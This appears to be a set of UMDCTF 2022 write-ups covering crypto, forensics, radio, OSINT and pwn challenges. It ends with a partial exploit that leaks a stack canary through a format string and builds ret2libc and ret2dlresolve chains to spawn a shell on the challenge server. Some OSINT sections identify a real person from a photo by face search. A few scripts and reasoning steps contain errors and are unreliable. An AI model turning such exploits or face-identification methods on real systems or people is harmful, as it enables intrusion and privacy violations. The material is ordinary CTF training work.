Sources
Sources and other assets will be available shortly in the official repo.
Crypto
MTP
One-time pad? More like multiple-time pad ;)
NOTE: You can assume that the plaintexts are grammatically-correct English sentences
Attachments: encrypt.py, ciphertexts.txt
import random
from binascii import unhexlify, hexlify
KEY_LEN = 30
key = []
for _ in range(KEY_LEN):
key.append(random.randrange(0,255))
with open('plaintexts.txt', 'r') as f:
pts = f.read().strip().split('\n')
cts = []
for pt in pts:
ct_bytes = []
for i in range(len(pt)):
ct_bytes.append(ord(pt[i]) ^ key[i])
cts.append(bytes(ct_bytes))
with open('ciphertexts.txt', 'w') as f:
for ct in cts:
f.write(hexlify(ct).decode() + '\n')
The challenge provides us with 8 ciphertexts that are encrypted with the same random key.
Each plaintext is supposed to have the same length as the key.
The key is just composed of 30 random bytes.
Since the key remains the same each time a plaintext is encrypted, letters of different plaintexts but in the same position can be grouped as they are XORed with the same key-byte.
The plaintexts are in plain English; therefore, to gain some insight and potentially recover some bytes of the key, we tried the following idea. When the correct byte of the key is found, the result of the xor with each letter in the group will return a valid ASCII character.
In each group, every letter of the group is XORed with all possible values (0,254). Only the values that resulted in an ASCII char for each letter are saved as potential candidates for the key.
KEY_LEN = 30
key_ranges = [[x for x in range(255)] for _ in range(KEY_LEN)]
alphabet = [char for char in (string.ascii_letters + ' ')]
cts = [
'c909eb881127081823ecf53b383e8b6cd1a8b65e0b0c3bacef53d83f80fb',
'cf00ec8a5635095d33bfa12a317bc2789eabf95e090c29abe81dd4339ffb',
'c700ec851e72124b6afef52c3f37cf2bcda9f74202426fa2f54f9c3797fb',
'cd0ebe8718365b4f2bebb6277039c469dfecf05419586fb4f658dd2997fb',
'c341ff8b562114552ff0bb2a702cc3649ea0ff5a085f6fb0f51dd93b86f4',
'da13f1801321085738bf9e2e24218b7fdfb9f159190c22a1ba49d43381fb',
'cb0df2c63f721c573ebfba21702fc36e9ea9ee50000c38a5e91ddd7ab0fb',
'c913e796023d1c4a2befbd367032d82bdfecf55e02406fa7f548ce2997f4'
]
for ct in cts:
_ct = unhexlify(ct)
for key_idx in range(KEY_LEN):
key_possible_values = key_ranges[key_idx]
to_remove = []
for possible in key_possible_values:
if chr(_ct[key_idx] ^ possible) not in alphabet:
to_remove.append(possible)
for char in to_remove:
key_ranges[key_idx].remove(char)
print(key_ranges)
The results are rather surprising. Even when only using an alphabet composed of letters and space, 23 bytes of the key have only one candidate.
Starting from there and continuing with a bit of logic, the other 7 bytes can be guessed for the not fully decrypted ciphertexts.
# Solution key = [138, 97,158,230,118, 82, 123, 56, 74,159,213, 79, 80, 91,171, 11,190,204,150, 49,109, 44, 79,196,154, 61,188, 90,242,213]
KEY=[ 0, 97,158,230,118, 82, 123, 56, 74,159,213, 0, 80, 91,171, 11,190,204,150, 0, 0, 44, 79, 0,154, 61,188, 90, 0, 0]
for ct in cts:
_ct = unhexlify(ct)
print(''.join([chr(_ct[i] ^ KEY[i]) if KEY[i] != 0 else '_' for i in range(30)]))
Take the MD5 of all 8 plaintexts concatenated together and wrap it in the flag format to get the flag.
đ UMDCTF{0a46e0b2b19dc21b5c15435653ffed67}
snowden
Eddy is sending encrypted messages out, but we canât quite figure out what he is saying.
nc 0.cloud.chals.io 30279
Upon connecting, the server greets us with:
Eddy Snowden setup a beacon constantly transmitting an encrypted secret message, but he is always changing the public key for some reason.
Then it lets us intercept many messages in the form (n, e, c), which is RSA, as in playbook RSA.
All these intercepted messages have an e
thatâs a prime in the range (21, 31). This is pretty low and opens a chance for an Hastad Attack
. With $e$ different keys each having the same $e$ and each encrypting the same message, it is possible to use the CRT to obtain $m^e$.
Given a small exponent, $\sqrt[e]{m}$ can be calculated easily with Sage and a script like this.
from Crypto.Util.number import long_to_bytes
def hastads(cArray,nArray,e):
"""
Performs Hastads attack on raw RSA with no padding.
cArray = Ciphertext Array
nArray = Modulus Array
e = public exponent
"""
if(len(cArray)==len(nArray)==e):
for i in range(e):
cArray[i] = Integer(cArray[i])
nArray[i] = Integer(nArray[i])
M = crt(cArray,nArray)
return(Integer(M).nth_root(e,truncate_mode=1))
else:
print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent")
m = hastads([ ... ], [ ... ], 21)
print(long_to_bytes(m[0]))
đ UMDCTF{y0u_r3ally_kn0w_y0ur_br04dc45t_4tt4ck!}
Forensics
Blue
Larry gave me this python script and an image. What is she trying to tell me?
Attachments: bluer.png, steg.py
We are given the image bluer.png (apparently completely blue) and a python script. Letâs take a look at the script:
from PIL import Image
import random
filename = 'blue.png'
orig_image = Image.open(filename)
pixels = orig_image.load()
width, height = orig_image.size
with open('flag.txt', 'r') as f:
flag = f.read().strip()
for y in range(len(flag)):
for a in range(ord(flag[y])):
x = random.randrange(0, width - 1)
c = random.randrange(0, 3)
pixel = list(orig_image.getpixel((x, y)))
pixel[c] += 1
pixels[x, y] = (pixel[0], pixel[1], pixel[2])
orig_image.save('bluer.png')
It read the flag from a file, and then it uses it to modify the image blue.png. In particular for each row of pixels of the image it increases by one, for n times, the value of one of the three channels (randomly chosen) of one pixel in the row (randomly chosen). The number n is the ascii decimal value of one character of the flag; the same operation is executed for l times, where l is the length of the flag. For example: if the i_th char of the flag is âaâ, the i_th row of pixels of the image is considered and for 97 times (decimal value of a) random pixels are changed in the way explained previously.
Analysing the image bluer.png we can see that almost all the pixels have the channels values [34, 86, 166] so each variation wrt these values means that the corresponding pixel has been modified. We can check how many variations there are for each row to recover the flag.
Script:
from PIL import Image
orig_image = Image.open('bluer.png')
width, height = orig_image.size
flag = []
for y in range(60):
count = 0
for x in range(width):
pixel = list(orig_image.getpixel((x, y)))
if pixel[0] != 34:
count += (pixel[0] - 34)
if pixel[1] != 86:
count += (pixel[1] - 86)
if pixel[1] != 166:
count += (pixel[2] - 166)
flag.append(count)
print(pixel)
print(''.join([chr(i) for i in flag]))
đ UMDCTF{L4rry_L0v3s_h3r_st3g0nogr@phy_89320}
How to Breakdance
My friend ctf_playah has been learning to breakdance, can you find his youtube password? Upon submission, wrap his password with UMDCTF{}.
We are provided with a .pcapng file that contains USB traffic. Based on previous experience on similar challenges, I decided to check if in the capture there was some USB keyboard traffic. Opening the capture in wireshark and applying a simple filter we can actually see what seems to be keyboard traffic:
In order to get the text written in the usb communication I used the tool ctf-usb-keyboard-parser. As specified by the tool doc I executed:
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
The text extracted was:
best breakdancing vidwos â«â«â«â«eos on the iterntâ«et â«
hoo to lean breakdancing in one day
ctf_playah
<flag_appears_here>
â«â«https://www.youtube.com/watch?v=7j5-u7hS0fs
This is it!The tutorial Ihave been waitinf for â«â«â«â«â«â«g for my whole life!
đ UMDCTF{1_luv_70_f1nd_c7f_fl46s}
jdata
no shade⊠but alsoâŠ
Attachments: jdata.zip
The zip file contains a photo with a part of the flag and a bunch of random Chinese characters.
As this challenge is in the forensics category, the next step was to run binwalk
and check for hidden files.
The image didnât contain any hidden files. Fortunately, as a joke, instead of jumping right into other techniques, such as steganography, we also tried analyzing the zip file itself. To our surprise, an ELF binary was concealed inside it at offset 0. This âjokeâ saved us quite the time, which we would have otherwise spent uselessly poking the distracting image.
The main
function just showed an ASCII art of Chungus. Looking through the exported symbols revealed a function called hehe
. This function just called a bunch of other functions, functions whose names read backward revealed the flag.
A tad of bash magic here and there, andâŠ
objdump --disassemble=hehe _jdata.zip.extracted/0 | egrep -o "\<.\>" | tr -d "\n" | rev
> umdctfghidraisforbinariesbroand
đ UMDCTF{ghidraisforbinariesbroandpubl1sh_s0m3_r3al_w0rk}
Renzikâs Case
My friend deleted important documents off of my flash drive, can you help me find them?
We are given an image of a flash drive.
I mount the image file and I donât see nothing interesting
But the text of the challenge give me a clue:
My friend deleted important documents....
The clue leads me to search for deleted files.
So I can use Foremost, a forensic program to recover lost files:
$ foremost -t all -i ../Renziks_Case/usb.img
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Sat Mar 5 10:37:42 2022
Invocation: foremost -t all -i ../Renziks_Case/usb.img
Output directory: /mnt/diskCTF/ctf/umdctf2022/renziks case/usbrecover/output
Configuration file: /etc/foremost.conf
File: ../Renziks_Case/usb.img
Start: Sat Mar 5 10:37:42 2022
Length: 1 GB (2003828736 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00003584.jpg 397 KB 1835008
1: 00004416.jpg 65 KB 2260992
2: 00004736.jpg 23 KB 2424832
3: 00004800.gif 2 KB 2457600 (540 x 540)
4: 00004608.png 41 KB 2359296 (256 x 223)
5: 00006272.png 384 KB 3211264 (1024 x 561)
6: 00007104.png 12 KB 3637248 (240 x 240)
7: 00007616.png 34 KB 3899392 (1920 x 1080)
Finish: Sat Mar 5 10:38:30 2022
8 FILES EXTRACTED
jpg:= 3
gif:= 1
png:= 4
Foremost finished at Sat Mar 5 10:38:30 2022
And I can see one more image: the flag
.
đ UMDCTF{Sn00p1N9_L1K3_4_Sl317h!}
Xorua
When Fred put his Zorua in the Driftveil City Pokecenterâs PC something a bit strange happened. Can you help him figure out what happened?
Attachments: After.png, Before.png
In this challenge we have two images, named Before.png and After.png. The name of the challenge is a clear hint that make think about the XOR operation. So I checked the first bytes of the After.png file:
The first bytes, the png header, are all zero. This supports the XOR hypothesis because the xor of the two images would give another image (png header xored with 0 keep the png header). Making the xor between Before.png and After.png gives us an image with the flag.
from pwn import *
with open('Before (1).png', 'rb') as before:
content = before.read()
with open('After (1).png', 'rb') as after:
content2 = after.read()
res = xor(content, content2)
with open('flag.png', 'wb') as flag:
flag.write(res)
đ UMDCTF{Sh4p3Sh1ft3R}
HW/RF
Gee, queue are ex?
Oh the wonderful world of radio frequency.. what can you see?
Attachments: painter.iq
This challenge was giving out some nice hints that a modern amateur radio operator could pick up quite easily:
- The name of the challenge itself was wordplay on GQRX, a known SDR interface, and probably the QRX acronym (see Q Code) itself.
- Judging by its extension, the attached file could have been raw I/Q data. (Funnily enough,
file
was spitting outpainter.iq: OpenPGP Public Key
)
Converting the raw data into audio and piping it through sox
by fiddling with the arguments to get a readable spectrum would have been boring - nonchalantly sweeps shell history file under the rug - and thus the occasion was perfect to pretend to know exactly what each GNURadio block does.
With some slight processing (skipping the initial junk present at the start of the stream, filtering the part of the spectrum that has interesting contents, playing with the sample rate due to the absence of hardware flow control) it became evident that the flag was being painted on the waterfall character by character.
With that knowledge, a proper spectrogram could be generated:
sox -t raw -r 500000 -e float -b 32 painter.iq -n trim 189 1157 rate 100k spectrogram -X 6
After the CTF ended, the admins confirmed that the signal had been partially generated with spectrum_painter and, to introduce some realistic fading and noise, transmitted and re-recorded with an RTL-SDR and an HackRF. Clever!
đ UMDCTF{D15RUP7_R4D1OZ}
Minetest 1 - Digital Logic Primer
Join the server to checkout the minetest challenges. You do not need to solve one before the other!
This challenge was straightforward for those who have ever seen basic logic ports, yet it was quick & funny to solve: once you logged into the CTFâs Minetest server you could navigate to a series of rooms containing different logic ports each. By interacting with special blocks you could turn on and off each portâs input lines, and when you solved all the rooms the flag would appear on an in-game screen at the end of the path.
We later learned that many players modded their clients to move quicker, fly, glitch through walls and so on to solve challenges faster or peek into enclosed mechanisms. Nice trick!
Minetest 2 - MUX
Join the server to checkout the minetest challenges. You do not need to solve one before the other!
In this challenge we had to connect to the same minetest server of the Minetest 1 challenge, there were eight closed rooms where the circuit shown in the gif below was placed. We couldnt access the rooms, we only had access to the 4 inputs and the only output (the red dot in the gif).
The flag was composed of 24 bits and to get the complete flag we had to solve all the eight rooms, therefore three bits for room (s1, s2, s3).
To find the bits s1, s2 and s3, we wrote a simple script that given a four bits input returns the possible sequence of (s1, s2, s3) that lit the lamp, the script had to be executed multiple times for room because every input could return more than one sequence of (s1, s2, s3).
import sys
i = []
i = list(map(int, sys.stdin.readline().split(' ')))
lamp = 1
signals = [(0, 0, 0), (1, 0, 0), (0, 1, 0), (0, 0, 1), (1, 1, 0), (0, 1, 1), (1, 0, 1), (1, 1, 1)]
for signal in signals:
muxA = i[2] if signal[0] == 0 else i[3]
muxB = i[0] if signal[1] == 0 else i[1]
muxC = muxB if signal[2] == 0 else muxA
x = (muxA and not muxB) or (not muxA and muxB)
a = x and muxC
if a == lamp:
print(f"FOUND : {s}")
đ UMDCTF{101111100000011011111000}
Misc
Blockchain 1 - Hashcash
Gary has an email service, but he hates spammers, so he implemented Hashcash.
Connecting to the challenge we receive this:
Welcome to Gary's email service. Gary has setup Hashcash because we've been getting a lot
of emails lately. He said something about bitcoin and blockchain, but all that mumbo jumbo
doesn't make sense to me. He said you should get a confirmation message after passing the
Hashcash mechanism.
ver = 1
leading zero bits = 20
date format = YYMMDD
Here is a list of the emails on our network:
- gary@hashcash.com - cheshirecatalytic@hashcash.com
- birch@hashcash.com - dewy@hashcash.com
- shricubed@hashcash.com - triakontakai@hashcash.com
- wittsend2@hashcash.com - artemis19@hashcash.com
- jsfleming@hashcash.com - mykale@hashcash.com
- amanthanvi@hashcash.com - ptrip9199@hashcash.com
- ishaan514@hashcash.com - mmohades@hashcash.com
- angcheng27@hashcash.com - suryaviyyapu@hashcash.com
- nickfroehl@hashcash.com - yieb@hashcash.com
- cybercyber2@hashcash.com - sm00thcriminal96@hashcash.com
- ai-ya-ya@hashcash.com
Would you like to send an email (y/n)?
y <-- our input
X-Hashcash:
We are provided a link, https://en.wikipedia.org/wiki/Hashcash, that explain the hashcash proof-of-work system. The X-Hashcash
refers to the hashcash header that should be of this type:
X-Hashcash: 1:20:1303030600:anni@cypherspace.org::McMybZIhxKXu57jd:ckvi
In the wiki page provided we can find explanation of each field (:
separated):
- ver: Hashcash format version, 1 (which supersedes version 0).
- bits: Number of âpartial pre-imageâ (zero) bits in the hashed code.
- date: The time that the message was sent, in the format YYMMDD[hhmm[ss]]. <â valid if within two days of the current date
- resource: Resource data string being transmitted, e.g., an IP address or email address.
- ext: Extension (optional; ignored in version 1).
- rand: String of random characters, encoded in base-64 format.
- counter: Binary counter, encoded in base-64 format.
In order to create a valid message the sender prepares a header and appends a counter value initialized to a random number. It then computes the 160-bit SHA-1 hash of the header. If the first 20 bits (i.e. the 5 most significant hex digits) of the hash are all zeros, then this is an acceptable header. If not, then the sender increments the counter and tries the hash again. The only thing that we can try is to create a valid message to one of the provided mails. The only criteria we need to respect are:
- Use a valid date: within two days of the current date
- The 5 most significant hex digits have to be 0
- The mail is registered in the network
Such a string is easy to create, and the server after receiving and checking the hashcash gives us the flag.
Script:
import base64
from Crypto.Hash import SHA1
count = 0
while True:
h = SHA1.new()
hashcash = '1:20:220305:gary@hashcash.com::McMybZIhxKXu57jd:'
countb64 = base64.b64encode(str(count).encode())
h.update(hashcash.encode() + countb64)
print(h.hexdigest())
if h.hexdigest()[:5] == '00000':
print(hashcash.encode() + countb64)
break
count += 1
đ UMDCTF{H@sh_c4sH_1s_th3_F@th3r_0f_pr00f_0f_w0rk}
Blockchain 2 - ChungusCoin
Chungus Coin is a PoW blockchain that holds indefinite value. There is a reward for those who mine!
NOTE: The PoW required for this blockchain is {p0}{p1} s.t.
p0 = proof of previous block
p1 = proof of block being created
sha256(f'{p0}{p1}')\[:5] == '00000'
The python server application is based on this post
The interesting part is in the update of the chain with a new node. When the chain is correctly updated the flag is printed out. To update the chain a new valid block must be appended.
@app.route('/nodes/update', methods=['POST'])
def consensus():
values = request.get_json()
length = values['length']
challenger_chain = values['chain']
name = values['name']
if (length - len(blockchain.chain) == 1) and # new chain must be 1 block longer
(blockchain.valid_chain(challenger_chain)) and # new chain must be valid
(len(challenger_chain) == length) and # actual length = specified length
not (name in blockchain.names): # name not alredy taken
blockchain.chain = challenger_chain
with open('flag.txt', 'r') as f:
data = str(f.read().strip())
response = {
'message': 'We have updated our chain with your new block :)',
'new_chain': blockchain.chain,
'reward': f"1337 Chungus Coin and the real prize: {data}"
}
blockchain.names.append(name)
blockchain.pending_transactions = []
blockchain.new_transaction("0", 'name', 1337)
else:
response = {
'message': 'The chain shall remain the same',
'chain': blockchain.chain
}
return jsonify(response), 200
The valid_chain(chain)
function does the following checks:
def valid_chain(self, chain):
# Determine if a given blockchain is valid
last_block = chain[0]
if last_block['proof'] != REDACTED or last_block['previous_hash'] != 1:
print("Invalid genesis block")
return False
current_index = 1
while current_index < len(chain):
block = chain[current_index]
print(f'{last_block}\n')
print(f'{block}')
print("\n-----------\n")
# Check that the hash of the block is correct
if block['previous_hash'] != self.hash(last_block):
print("invalid hash")
return False
# Check that the Proof of Work is correct
if not self.valid_proof(last_block['proof'], block['proof']):
print("invalid proof")
return False
# Check that index of block is correct
if current_index + 1 != block['index']:
print("invalid index")
return False
# Check that timestamps aren't wack
if last_block['timestamp'] > block['timestamp']:
print("invalid timestamp")
return False
last_block = block
current_index += 1
# Check for valid transactions
if self.pending_transactions != last_block['transactions']:
print("invalid transactions")
return False
return True
With a somewhat understanding of how the server works, the only piece left to start forging is the the block format
{
"index": 4,
"previous_hash": "...",
"proof": 370520,
"timestamp": 1.9996931348623157e+308,
"transactions": [
{"amount":1337,"recipient":"drMoscovium","sender":"0"},
...
]
}
To start off, get the current chain status with GET /chain
{
"chain": [ blocks... ],
"length": len(chain)
}
Letâs start building our forged block:
- index: last block index + 1
-
previous_hash: apply the following function to the last block received
def hash(block): block_string = json.dumps(block, sort_keys=True).encode() h_hash = hashlib.sha256(block_string).hexdigest() return h_hash
-
proof: find a valid proof that respect the constraints also described in the description.
import hashlib proof_old = 888273 proof_cur = 0 while True: # sha256(f'{p0}{p1}')[:5] == '00000' hash = hashlib.sha256(f'{proof_old}{proof_cur}'.encode()).hexdigest() if hash[:5] == '00000': print(hash) print(proof_cur) exit(0) proof_cur += 1
- timestamp: copy the last block timestamp and increase it slightly as the servers checks thereâs a temporal continuity
-
transactions: The server checks that the block actually solves all pending transactions
# Check for valid transactions if self.pending_transactions != last_block['transactions']: print("invalid transactions") return False
Therefore we should call the
GET /pending_transactions
endpoint which returns the list of pending transactions that we insert in our forged request.
With our newly forged block, take the chain previously retrieved and
- append the block in
chain
- increase
length
by 1 - add
name
property with an unique string
Send the chain to POST /nodes/update
and get the flag!
đ UMDCTF{Chungus_Th4nk5_y0u_f0r_y0ur_bl0ckch41n_s3rv!c3}
ChungusBot v2
Check out my code!
In this challenge we have to interact with the discord bot ChungusBot v2.
As suggested by the challenge description we need to search the source code of the bot. It can be easily found on github, in this UMDSEC repo: https://github.com/UMD-CSEC/ChungusBot_v2. We can see from the code that every command of the bot starts with âOh Lord Chungus please â and in particular we are interested in the command âtellme theflagâ. The bot tells us the flag only if we pass 2 checks:
def check2(hmm):
something = int(hmm.split(':')[-1].split('.')[0])
if (something > 45 and something < 50) or (something > 14 and something < 19):
return True
return False
def check1(av):
r = requests.get(str(av), stream = True)
if r.status_code == 200:
r.raw.decode_content = True
filename = str(str(av).split("/")[-1].split('?')[0])
path = f'./downloaded_files/{filename}'
with open(path,'wb') as f:
shutil.copyfileobj(r.raw, f)
else:
return False, "Could not grab your pfp for some reason"
img1 = list(Image.open('chungus_changed.jpg').convert("1").getdata())
img2 = list(Image.open(path).convert("1").getdata())
os.system(f"rm {path}")
bigger = len(img1)
if bigger > len(img2):
bigger = len(img2)
try:
count = 0
for i in range(bigger):
if img1[i] == img2[i]:
count += 1
except:
return False, "Image size not the same"
message = "Percentage of pixels correct: " + str(count / len(img1))
if count / len(img1) > 0.92:
return True, message
elif count / len(img1) > 0.6:
return False, message
else:
return False, f"Images are not the same ({100 * count / len(img1)}%)"
Check1 verifies that our profile picture on Discord is at least 92% equal to the botâs one. In order to pass this check we can use the command âtellme avatarâ which gives us the following image.
The image correspond to the botâs picture but itâs modified. With not so much effort we can adjust it, using Gimp, to pass the check.
After setting the right profile picture we only have to pass check2, sending the command at a time hh:mm:ss such that the seconds ss are in the ranges 15-18 or 46-49.
đ UMDCTF{Chungus_15_wh0_w3_str1v3_t0_b3c0m3}
RSI 1
A friend of mine left me a mysterious file from a game he was playing.
Attachments: tutorial.osr
In this challenge we were given a replay file of the game OSU.
If we analyze the given file with hexdump
or a similar tool we can right away observe that the bytes that should represent the replay are not correct according to the official table shown below:
Analyzing the file with binwalk
we observe that it is an LZMA file so with the command shown below we obtain the extracted file.
binwalk -e tutorial.osr
Analyzing it with strings
gives us the flag.
đ UMDCTF{wE1c0m3_t0_o5u!}
RSI 2
I got addicted to the game, and my friend left me another one of his cool replays.
Attachments: big_b.osr
As in the previous writeup (RSI 1) we have a .osr file that we can analyze with the same method. After getting the extracted file, we donât get the flag as before but we are given a set of coordinates. Looking at those we can see that some donât respect the osu s shown below:
Finally with some scripting we can parse the coordinates, taking only the correct ones, and render the output image:
import matplotlib.pyplot as plt
def validate_coord(coord):
length = len(coord) == 4 and int(coord[0]) > 0
if length:
x = 0 <= float(coord[1]) <= 512
y = 0 <= float(coord[2]) <= 384
return x and y
return False
with open("_big_b.osr.extracted/7F") as replay_raw:
coords_raw = replay_raw.readline().split(',')
coords_raw = [tuple(x.split('|')) for x in coords_raw]
coords_raw = [t for t in coords_raw if validate_coord(t)]
coords = []
for t in coords_raw:
coords.append((int(t[0]), float(t[1]), float(t[2]), int(t[3])))
x, y = [p[1] for p in coords], [-p[2] for p in coords]
plt.scatter(x, y)
plt.show()
The result is shown here:
đ UMDCTF{CL1CK_TO_THE_B3AT}
OSINT
Justina 1
After Justinâs adventure in Russia, his sister, Justina Zimmerman has scurried off somewhere and we need to find her. There must be a way to see what she has been up to. Justin might even be able to help us.
The challenge gives us a photo and little information about Justina Zimmerman: she has scurried off somewhere, she has 3 social profiles and she has a brother called Justin. The first thing we did is searching justina zimmerman on google. The first result was Justinaâs Facebook account:
The profile contains more info about justina: she just graduated from university of Maryland and she decided to take a trip. There is also a link to a private group with this description.
I like to tell people what Iâm up to here. I felt like taking a spontaneous trip :) ONLY FRIENDS AND FAMILY! My mods will only accept people who prove they know me. Any bad requests will be denied or automatically tossed if some questions were not answered.
To prove we knew Justina we had to answer 3 questions:
-
How do you know Justina?
-
What is Justinaâs favorite TV show?
- Friends
- Game of Thrones
- Silicon Valley
- The Office
- Vampire Diaries
-
Who is Justinaâs favorite artist?
- Taylor Swift
- Justin Bieber
- Harry Styles
- Ed Sheeran
- The Weekend
We could answer to first question (we met her at university of Maryland) but unfortunately on facebook there was no more useful information, so we needed to find the other two profiles. After a lot of researches, on every existing social media, we couldnât find anything. Probably Justina Zimmerman wasnât the right username. Therefore, we decided to search Justin, Justinaâs brother. We easily found him on Facebook too.
Most of the information was related to the 2021 edition of UMDCTF, but we noticed something interesting. Justinâs nickname was Justin Zimmerman (Zimmy Boi). Since the challenge description told us Justin would have helped us we tried to search Justina Zimmy. Bingo! We found the two remaining accounts on Instagram and Twitter. On these accounts we found the info on Justinaâs favourite singer and favourite tv show, respectively Justin Bieber and The Vampires Diary. With all the info gathered we could enter Justinaâs private facebook group. The first post on the group is an event called âMeetup @ my placeâ, whose description contained the flag.
đ UMDCTF{w3lc0me_t0_th3_l1f3_0f_Just1n@}
Justina 2
Can you figure out which city Justina has been staying in? Hopefully we can find her soon!
Flag Format: UMDCTF{City_Name_Country}
Upon entering the Life of Justina
Facebook group, after the initial messages that stating her(?) intentions to go on a trip, there are some images of her first trip of February 27.
Among the six images, only the one at the airport terminal seemed the right candidate for reverse image lookup.
Running the image through yandex.ru did, in fact, reveal the Airport in question.
đ UMDCTF{Wagga_Wagga_Australia}
Justina 3
I think Justina is going to another place! I canât keep up with her. Help me find her.
Flag Format: UMDCTF{City_Name_Country}
Justina just canât seem to decide where to settle down. Once again, itâs our job to find her throughout the world.
With the proper jam in the background to properly boost our adventurer spirit ⊠⫠Weâre going on a trip, on our favorite rocket ship ⫠⊠weâre ready to explore the messages from March 5.
As the text from these new images suggests; our friend Justina, who doesnât even know how to spell McCafĂ©, is now somewhere in France.
This time, we went with the stadium image to try and guess the exact France city.
Wikipedia has a handy list with each stadium in France. Comparing them with our image resulted in just 3 possibilities. Trying all 3 possible solutions was enough to find the correct city, which isâŠ
đ UMDCTF{Auxerre_France}
Justina 4
Iâve been chatting with Justina as she travels, and she is settling down with her french boyfriend. They are even having a kid! I want to send her a baby shower gift but I donât know what to get her⊠She told me there is some online registry for gifts but itâs under her boyfriends name. Can you find the registry online?
Having previously found her Instagram and Twitter accounts, this last part of the Justinaâs Adventures Saga was relatively easy.
On her Instagram account, under the tagged photos, there was one with his âboyfriendâ promptly posted by him. The description of his account revealed his full name.
The challenge description stated that the registry is under the boyfriendâs name. Searching John Pierre registry
, the first result led us to the final piece of the puzzle, a link on babylist.
The password is on Justinaâs last post on Twitter.
đ UMDCTF{w3_L0v3_0ur_babyyyyyyy}
ketchup
I took a picture with this guy a few years ago but I forgot his name! Can you tell me who he is?
Attachments: ketchup.png
This is the initial image
Using pimeyes multiple times, and re-analyzing the results; after 2 pass we find a better image.
Running this image through Yandex Image Search reveals a link to a news article in which there is the name of this mysterious man (look at the flag for the answer).
P.S. The challenge is named ketchup as the name of the man itâs the same as a famous ketchup brand. Gotcha!
đ UMDCTF{heinz_paus}
Outdoors 1
My friend Jason Heyson recently got into live-streaming. Heâs been streaming a place in his hometown, but he wonât give me the link! It must be related to the environment, the outdoors, or real life given my current context. Can you find his stream for me?
The description gave two subtle clues:
live-streaming
- Twitch is the main streaming platformIt must be related to the environment, the outdoors, or real life
- On Twitch there are many categories, maybe there is one for VLOG style streams?
âTravel & Outdoorsâ is indeed a category on Twitch. Skimming through the live streams started near the CTF start, there was one from âson_of_heyâ that sounds much like the Jason Heyson
from the description.
In the viewers list there was this account which name is the flag encoded in hex.
đ UMDCTF{yeet}
Outdoors 2
Thank you for finding the livestream. It looks like Jason must have moved because I do not recognize the the place he is streaming at all! Can you give me the address of the orangeish building on the live stream?
This is a screen of the stream
In the top right part of the orangeish building thereâs a Canadian flag.
Searching through images of Rocky Mountain Canada
we find that this is Canmore, Alberta.
Google Maps be praised, that building is the Canmore Civic Center which address is the flag.
đ UMDCTF{902_7_avenue_canmore}
Unaccounted For Co-Worker
Help! My co-worker hasnât showed up to work for the past week and my boss wants me to find out where he went. I know that he took an American Airlines flight from the âMile High Cityâ to the city with the largest historic theatre district on February 24th. A couple days later, I heard he took a train northwest 8 stops from Union Station. Can you tell me the aircraft type and the final destination city?
In order to find the co-worker airline you must search first whatâs this â Mile High City â and what was the city with the largest history theater district on the February 24th ( is it just me or itâs suspiciously specific ?).
A simple google search will go and youâll find out that the first city is Denver and the arrive city and that the theater district was in fact the Broadway Theatre District located in LA.
Once you know this info a simple google search that spells out âflight from denver to las vegas aircraft typeâ will smack you in the face with the first half of the key!
The second part consists in looking up a site that will allow you to see all the train stops from LA, this will do, now youâll just have to follow what the CTF asked you and count 8 train stops from the Union Station.
If you end up in Camarillo you made the same exact mistake I did and counted the first station as a stop ( donât worry youâre not alone ).
Now with all those infos youâll be able to build your cool flag:
đ UMDCTF{A320_oxnard}
Pwn
Classic Act
Pwning your friends is a class act. So why not do it to some random server?
Attachments: classicact
In this challenge we are given the unstripped 64-bit binary classicat. The checksec command reveals that all the protections except the PIE are active. After decompiling with ghidra we find out that the main contains the vuln function, which has the following decompiled code:
bool vuln(void) {
int iVar1;
long in_FS_OFFSET;
char name [16];
char like [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Please enter your name!");
gets(name);
puts("Hello:");
printf(name);
putchar(10);
puts("What would you like to do today?");
gets(like);
iVar1 = strncmp(like,"Play in UMDCTF!",0xf);
if (iVar1 != 0) {
puts("Good luck doing that!");
}
else {
puts("You have come to the right place!");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return iVar1 != 0;
}
There are clearly 2 vulnerabilities in this code: the format string vulnerability in printf(name) and the buffer overflow on gets. Exploiting these vulnerabilities we can do almost whatever we want, so the challenge seems to be a classic ret2libc attack.
The first thing to do is to leak the canary to fully exploit the buffer overflow, the format string helps us with that. Watching the stack with pwndbg we can see this:
With a few tests we can easily find that the canary is 0x58 bytes from our controlled input and we can leak it through printf with printf('%19$lx')
.
After leaking the canary we also need to find the right libc used remotely for the binary. Again we can do this by leaking libc pointers with the format string. From the stack we can check the libc symbols related to each pointers. We can try to find the right libc online using the leaks (_IO_file_jumps
, _IO_2_1_stdout_
, setbuffer
âŠ). At this point of the exploit I struggled a bit while searching the libc because https://libc.blukat.me/ wasnât giving the right results. Me patiently searching libc:
Then I tried with https://libc.rip/ and I found the right result: libc6_2.31-0ubuntu9.7_amd64.so
. After that, thanks to one_gadget, all the work was done, the rest is the python script.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./_classicact")
libc = ELF("libc.so.6")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
elif args.GDB:
r = gdb.debug([exe.path], gdbscript='b vuln')
else:
r = remote("0.cloud.chals.io", 10058)
return r
def ret2dlres(r):
dlresolve = Ret2dlresolvePayload(exe, symbol="system", args=["sh"])
rop = ROP(exe)
ret = rop.find_gadget(['ret'])[0]
rop.raw(ret)
rop.gets(dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
r.sendlineafter(b'!\n', b'%19$lx')
r.recvline()
canary = int(r.recv(16), 16)
log.info(f'canary: {hex(canary)}')
payload = b'a' * 72 + p64(canary) + b'a' * 8 + rop.chain() + b'\n' + dlresolve.payload
r.sendlineafter(b'?\n', payload)
def ret2libc(r):
# leak canary and libc pointer
r.sendlineafter(b'!\n', b'%19$lx%12$lx')
r.recvline()
canary = int(r.recv(16), 16)
leak = int(r.recv(12), 16)
# compute libc base address
libc.address = leak - libc.sym._IO_2_1_stdout_
print(hex(libc.address))
# one_gadget found from command line
